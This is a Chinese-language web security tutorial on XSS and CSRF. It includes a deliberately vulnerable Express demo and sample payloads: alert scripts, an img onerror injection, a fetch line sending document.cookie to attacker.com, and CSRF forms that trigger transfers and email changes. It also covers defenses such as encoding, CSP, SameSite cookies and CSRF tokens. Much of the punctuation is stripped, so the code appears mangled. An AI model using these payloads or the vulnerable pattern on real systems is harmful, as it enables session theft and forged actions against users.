1. 项目概述Web安全的两大“常客”在Web开发与安全领域有两个名字几乎是所有从业者绕不开的“老朋友”——XSS跨站脚本攻击和CSRF跨站请求伪造。它们不像某些复杂的零日漏洞那样神秘莫测却因其普遍性和破坏性常年稳居OWASP Top 10榜单。我见过太多项目功能做得花里胡哨却在安全审计时被这两个基础问题“一票否决”。简单来说XSS是“坏人把恶意代码塞进了你的网站”而CSRF是“坏人冒充你的用户去操作你的网站”。理解它们不仅是安全工程师的必修课更是每一位后端、前端甚至全栈开发者必须掌握的基本功。这篇文章我将结合自己多年在渗透测试和代码审计中遇到的实际案例为你彻底拆解这两种攻击的原理、手法、危害以及最接地气的防御方案。无论你是刚入门的安全新人还是想巩固知识体系的资深开发都能从中找到可直接复现的实操细节和避坑指南。2. XSS攻击深度解析当你的网站“说”了不该说的话XSS全称Cross-Site Scripting中文名“跨站脚本攻击”。这个名字起得很有意思它本质上是一种“代码注入”攻击攻击者的目标是在你的网站上让用户的浏览器执行他精心构造的恶意脚本。你可以把它想象成攻击者在你网站的留言板上不是写了一句“你好”而是写了一段“魔术咒语”。当其他用户浏览这条留言时这段“咒语”就会在他们的浏览器里自动生效。2.1 XSS攻击的三大类型与运作机理根据恶意脚本的“存储”和“触发”位置不同XSS主要分为三类反射型、存储型和DOM型。理解它们的区别是精准防御的第一步。反射型XSSReflected XSS这是最常见也最“经典”的一种。攻击过程通常是这样攻击者构造一个含有恶意脚本的URL然后通过社交工程比如钓鱼邮件、论坛私信诱骗用户点击。用户点击后浏览器向目标网站发起请求这个恶意脚本作为请求参数比如查询字符串?qscriptalert(1)/script被发送到服务器。服务器在未加过滤的情况下直接将这个参数内容拼接进返回的HTML页面中并返回给浏览器。浏览器接收到响应后看到页面中包含scriptalert(1)/script便将其作为正常的HTML脚本执行了。关键特征恶意脚本“反射”自用户的请求并未在服务器持久化存储。它像一次性的“钓鱼钩”需要诱骗用户主动触发。常见的场景是搜索框、错误信息页面这些地方常常会将用户输入的内容直接回显。存储型XSSStored XSS / Persistent XSS这是危害最大的一种。攻击者将恶意脚本直接“存储”在目标网站的服务器上比如数据库、文件系统或内存缓存中。当其他用户访问某个会读取并展示这些存储数据的页面时如论坛帖子、用户评论、个人资料昵称恶意脚本就会从服务器加载到页面中并执行。关键特征恶意脚本被持久化存储在服务器端所有访问特定页面的用户都会中招影响范围极广。2015年喜马拉雅存储型XSS漏洞就是一个典型案例攻击者将专辑名称设置为JavaScript代码任何用户访问该专辑页面都会执行恶意代码导致Cookie被盗。DOM型XSSDOM-based XSS这是一种比较“现代”的XSS其特殊性在于整个攻击过程不经过服务器。恶意脚本的注入和触发完全发生在客户端的浏览器环境中通过JavaScript操作DOM文档对象模型来实现。攻击流程通常是用户访问一个看似正常的页面该页面中的JavaScript代码可能是原本就有的也可能是攻击者注入的会从URL的片段标识符#后面的部分、或本地存储LocalStorage等位置读取数据然后使用innerHTML、document.write等不安全的方法将这些数据动态写入到DOM中。如果这些数据包含恶意脚本就会被执行。例如一个页面有如下代码var hash window.location.hash.substring(1); document.getElementById(content).innerHTML Welcome, hash;如果用户访问的URL是http://example.com/page.html#img srcx onerroralert(1)那么hash的值就是恶意字符串并通过innerHTML插入页面导致onerror事件触发。关键特征服务器返回的响应是“干净”的漏洞源于前端JavaScript对不可信数据的不安全处理。这使得传统的服务端过滤手段可能失效防御重心需要转移到客户端。2.2 实战复现亲手触发一次反射型XSS理论说再多不如亲手试一次。我们用一个最简单的Node.js Express环境来模拟反射型XSS。环境搭建初始化项目并安装依赖mkdir xss-demo cd xss-demo npm init -y npm install express创建app.jsconst express require(express); const app express(); const port 3000; // 设置模板引擎这里用简单的字符串拼接模拟 app.get(/, (req, res) { const userInput req.query.search || ; // 获取用户搜索词 // 危险操作直接将用户输入拼接进HTML响应 const html !DOCTYPE html html headtitle搜索页面/title/head body h1搜索演示/h1 form input typetext namesearch placeholder输入搜索内容 button typesubmit搜索/button /form hr p您搜索的内容是${userInput}/p !-- 漏洞点 -- /body /html ; res.send(html); }); app.listen(port, () { console.log(漏洞演示服务器运行在 http://localhost:${port}); });运行服务器node app.js攻击演示访问http://localhost:3000/在搜索框输入正常内容如“hello”页面会正常显示“您搜索的内容是hello”。 现在构造一个恶意链接http://localhost:3000/?searchscriptalert(XSS攻击成功)/script将这个链接发送给受害者或自己在新标签页打开。页面加载后不仅会显示搜索内容还会弹出一个警告框。这就完成了一次最简单的反射型XSS攻击。在实际攻击中alert会被替换成窃取Cookie的脚本例如scriptfetch(https://attacker.com/steal?cookie document.cookie);/script实操心得这个演示的关键在于服务端毫无过滤地使用了${userInput}进行字符串模板拼接。在真实项目中任何将用户可控数据输出到HTML上下文的地方都是潜在的XSS漏洞点包括HTML标签内、属性值、JavaScript代码段、CSS样式甚至URL中。3. CSRF攻击深度解析冒充你的用户“点头同意”如果说XSS是让网站“说坏话”那么CSRFCross-Site Request Forgery跨站请求伪造就是让用户在不知情的情况下“办坏事”。攻击者盗用用户的身份以用户的名义发送恶意请求。由于请求完全由用户的浏览器发出并自动携带了用户的登录凭证如Cookie、Session服务器会认为这是用户的合法操作。3.1 CSRF的攻击原理与经典场景理解CSRF核心在于理解浏览器的“同源策略”与“Cookie发送机制”。同源策略限制了不同源站点间的脚本互操作但它不阻止浏览器向不同源的服务器发送请求。例如你登录了银行网站bank.comCookie保存在浏览器中。此时你不小心访问了恶意网站evil.com。evil.com的页面中包含一个隐藏的表单或图片其src指向bank.com/transfer?tohackeramount10000。浏览器在加载evil.com时会向bank.com发起这个转账请求并且会自动带上bank.com的Cookie。服务器看到带有正确Cookie的请求便认为是用户本人操作的从而完成转账。攻击的必要条件用户已登录目标网站A站并且会话未过期。用户在A站登录状态下访问了攻击者控制的第三方网站B站。A站存在CSRF漏洞即其关键操作如修改密码、转账、发帖的请求容易被伪造且未进行有效的来源验证。3.2 三种常见的CSRF攻击载体攻击者通常利用以下HTML元素或方式在第三方站点发起伪造请求1. 自动发起GET请求利用img、script、link、iframe等标签的src或href属性浏览器在加载这些资源时会自动发起GET请求。!-- 在evil.com的页面中 -- img srchttp://bank.com/transfer?tohackeramount1000000 width0 height0 /当用户访问该页面一张看不见的图片就会触发转账请求。2. 自动提交POST表单对于需要POST请求的操作攻击者可以构造一个隐藏的form并用JavaScript自动提交。body onloaddocument.forms[0].submit() form actionhttp://bank.com/change-email methodPOST input typehidden nameemail valuehackerevil.com / /form /body页面加载完成后表单会自动提交将用户的绑定邮箱修改为攻击者的邮箱。3. 诱导用户点击链接GET请求变种将恶意请求伪装成普通链接、图片按钮等诱骗用户点击。a hrefhttp://bank.com/logout点击领取红包/a !-- 实际上是一个退出登录的链接 --注意事项CSRF攻击与XSS有本质区别。CSRF攻击者无法直接获取用户的页面数据或Cookie除非同时存在XSS漏洞它只是“借用”了用户的身份和权限。防御CSRF的核心思路是“让请求不可伪造”而不是“保护数据不被窃取”。4. 构建防线XSS攻击的实战防御策略知道了攻击怎么来我们就要筑起城墙。防御XSS是一个系统工程需要在数据输入、输出、传输等多个环节布防。4.1 服务器端输入过滤与输出编码治本之策这是防御存储型和反射型XSS最根本的手段。原则是对一切不可信的数据进行严格的输出编码/转义。输出编码根据上下文选择编码器“编码”的意思是将危险字符如,,,,转换成对应的HTML实体如lt;,gt;,amp;,quot;,#x27;使浏览器将其解释为普通文本而非代码。HTML正文上下文使用HTML实体编码。错误div${userContent}/div正确使用类似_.escape(userContent)Lodash库或框架内置的自动转义功能。在Express中EJS模板使用% %会自动转义而%- %不会需谨慎。HTML属性上下文同样使用HTML实体编码并始终用引号包裹属性值。错误input value${userInput}正确input value${_.escape(userInput)}JavaScript上下文这非常危险且复杂。绝对不要简单地将用户输入拼接进script标签或事件处理器如onclick。错误scriptvar data ${userData};/script如果userData是;alert(1);//就会闭合字符串执行代码正确将数据放在HTML的>Set-Cookie: sessionIdabc123; HttpOnly; Secure; SameSiteStrict这样即使网站存在XSS漏洞document.cookie也无法读取到标记为HttpOnly的Cookie攻击者就无法直接盗用会话。注意这只能防御Cookie窃取不能阻止攻击者利用现有会话发起CSRF攻击或进行其他操作。5. 筑牢堤坝CSRF攻击的实战防御策略防御CSRF的核心思想是增加攻击者无法伪造的“凭证”让服务器能区分请求是来自用户本意还是第三方伪造。5.1 利用SameSite Cookie属性SameSite是Cookie的一个属性用于控制Cookie在跨站请求时是否被发送。它有三个值Strict严格模式。浏览器在任何跨站请求中都不会发送此Cookie。即使用户从mail.com点击链接跳转到bank.combank.com的StrictCookie也不会被发送。这提供了最强的CSRF防护但可能影响用户体验比如从邮件链接跳转后需要重新登录。Lax默认值宽松模式。在跨站的顶级导航如点击链接且是安全方法GET的请求中会发送Cookie。对于POST请求、img、iframe、AJAX等发起的跨站请求则不发送Cookie。这在安全性和可用性间取得了良好平衡。None关闭SameSite限制Cookie会在所有上下文中发送。必须与Secure属性一同使用即仅限HTTPS。设置方法Set-Cookie: sessionvalue; Path/; Secure; HttpOnly; SameSiteLax将关键会话Cookie的SameSite设置为Lax或Strict可以自动拦截绝大多数由img、form等标签发起的CSRF攻击。5.2 验证请求来源Referer与Origin头服务器可以检查HTTP请求头中的Referer或Origin字段来判断请求是否来自合法的源站。Referer包含了发起请求的页面的完整URL。但注意Referer可能被浏览器隐私设置、HTTPS到HTTP的跳转等因素屏蔽或修改且可能泄露路径等敏感信息。Origin主要用于跨域请求CORS它只包含协议、域名和端口不包含路径隐私性更好。对于同源请求浏览器通常不发送Origin头。防御逻辑// 中间件示例 (Node.js/Express) function checkCsrfByOrigin(req, res, next) { const origin req.get(Origin) || req.get(Referer); if (!origin) { // 某些直接请求可能没有Origin/Referer需结合其他验证如Token return next(); } const allowedOrigins [https://your-trusted-site.com, https://your-app.com]; const originHostname new URL(origin).hostname; if (allowedOrigins.some(allowed originHostname new URL(allowed).hostname)) { next(); // 来源合法 } else { res.status(403).send(Invalid request origin); } }注意此方法并非绝对可靠因为Referer头可能被篡改或缺失。通常作为CSRF Token等主要防御机制的补充。5.3 CSRF Token最可靠的同步令牌模式这是目前公认最有效的CSRF防御手段。原理是服务器为每个用户会话生成一个随机、不可预测的令牌Token在渲染表单或页面时将其嵌入如隐藏域input typehidden name_csrf valuetoken-value。当用户提交表单时必须将这个令牌一并提交。服务器收到请求后验证提交的令牌是否与会话中存储的令牌一致。实现步骤生成并存储Token用户访问包含表单的页面时服务器生成一个强随机数如UUID存储在用户的Session或加密的Cookie中同时将其输出到页面表单里。// 生成Token const crypto require(crypto); const generateCsrfToken () crypto.randomBytes(32).toString(hex); // 中间件为每个请求附加CSRF Token如果Session中存在 app.use((req, res, next) { if (!req.session.csrfToken) { req.session.csrfToken generateCsrfToken(); } res.locals.csrfToken req.session.csrfToken; // 供模板使用 next(); });在表单中嵌入Token!-- 在模板中如EJS -- form action/change-password methodPOST input typehidden name_csrf value% csrfToken % !-- 其他表单字段 -- input typepassword namenewPassword button typesubmit修改密码/button /form对于AJAX请求可以将Token放在请求头中例如X-CSRF-Token。服务器端验证Token// 验证中间件 const validateCsrfToken (req, res, next) { const clientToken req.body._csrf || req.headers[x-csrf-token]; const serverToken req.session.csrfToken; if (!clientToken || !serverToken || clientToken ! serverToken) { return res.status(403).send(Invalid CSRF token); } // 验证通过后可以更新Token一次性Token更安全 // req.session.csrfToken generateCsrfToken(); next(); }; app.post(/change-password, validateCsrfToken, (req, res) { // 处理修改密码逻辑 });为什么CSRF Token有效因为攻击者无法预先知道或读取到用户当前会话的Token值得益于同源策略所以他构造的恶意请求中无法包含正确的Token服务器验证就会失败。6. 进阶实战与深度排查从靶场到真实场景理解了原理和基础防御后我们需要在更复杂的环境下演练。DVWADamn Vulnerable Web Application和Pikachu这类漏洞靶场是绝佳的练习平台。6.1 靶场通关精要DVWA与Pikachu中的XSS/CSRF以DVWA的CSRF模块为例其Low、Medium、High级别完美展示了防御的演进Low级别毫无防护。密码修改请求只是一个简单的GET请求如/vulnerabilities/csrf/?password_new123password_conf123ChangeChange。攻击者只需诱使用户访问此链接即可完成攻击。Medium级别尝试验证HTTP_REFERER头。如果请求不是来自本站则拒绝。但攻击者可以构造一个页面先通过JavaScript跳转到目标页面window.location此时Referer是攻击者页面但紧随其后的请求Referer可能就是目标站点了取决于浏览器实现或者攻击者可以设法让Referer为空或可控。High级别使用了CSRF Token。这是最可靠的防御。攻击者无法获取Token因此无法构造有效请求。实操心得在攻击靶场时不要只满足于完成挑战。更重要的是切换到防御视角查看每一关的源代码理解其漏洞成因和防御逻辑。尝试思考如果我是开发者Medium级别的Referer检查有哪些绕过方式High级别的Token是如何生成、传递和验证的6.2 前端框架与现代化防御在现代前端开发中框架和库提供了很多开箱即用的安全辅助。React/Vue/Angular默认会对渲染到模板中的数据进行转义这在一定程度上防护了XSS。但使用dangerouslySetInnerHTMLReact或v-htmlVue时仍需极度谨慎。axios/fetch在发送AJAX请求时可以配置全局拦截器自动为每个非幂等请求POST, PUT, DELETE等添加CSRF Token头。// axios 示例 import axios from axios; const token document.querySelector(meta[namecsrf-token]).getAttribute(content); axios.defaults.headers.common[X-CSRF-Token] token;Spring SecurityJava后端框架提供了强大的CSRF防护默认开启。它会自动生成和验证Token前端只需要在表单或元标签中获取即可。Django同样内置了CSRF中间件使用{% csrf_token %}模板标签即可轻松集成。6.3 常见问题排查与应急响应即使做了防护也可能因为配置不当或新功能引入而产生漏洞。以下是一些排查思路1. XSS漏洞排查清单输入点所有用户可控的输入URL参数、表单、Cookie、HTTP头、第三方API返回数据。输出点所有将数据输出到HTML、JavaScript、CSS、URL的地方。上下文数据输出到了哪个上下文是否正确使用了对应的编码函数富文本编辑器是否使用了安全的HTML净化库如DOMPurify、js-xss白名单配置是否过宽CSP配置是否过于宽松是否使用了unsafe-inline或unsafe-eval2. CSRF漏洞排查清单关键操作所有会改变服务器状态的操作登录、注销、修改、删除、支付等。请求方法是否使用了安全的幂等方法GET用于获取POST/PUT/DELETE用于修改是否错误地用GET实现修改操作Cookie配置会话Cookie是否设置了SameSiteLax/Strict和HttpOnlyToken验证CSRF Token是否足够随机是否与用户会话绑定是否在每个需要防护的表单/AJAX请求中都包含并验证第三方集成API接口是否也需要CSRF防护对于无状态的JWT认证CSRF风险较低但需注意刷新令牌的端点。3. 漏洞应急响应一旦发现漏洞应立即评估影响确定漏洞类型、影响范围、可能被利用的数据。临时修复如紧急上线WAF规则、禁用相关功能、在负载均衡层添加过滤。根因修复根据上述排查清单定位代码中的漏洞点实施正确的编码或配置修复。安全复盘漏洞是如何引入的代码审查、安全测试流程是否存在盲区如何避免再次发生Web安全是一场攻防的持久战。XSS和CSRF作为最基础的两种攻击方式其防御理念却贯穿了整个应用安全体系对输入输出保持警惕、实施最小权限原则、不信任任何客户端提交的数据。将这些原则内化为开发习惯结合成熟的框架和工具才能构建出真正坚固的应用防线。在实际项目中我习惯在项目初期就将CSP头、CSRF Token中间件、安全的Cookie配置作为基础脚手架的一部分并在代码审查中特别关注数据流和上下文编码这比事后修补要有效得多。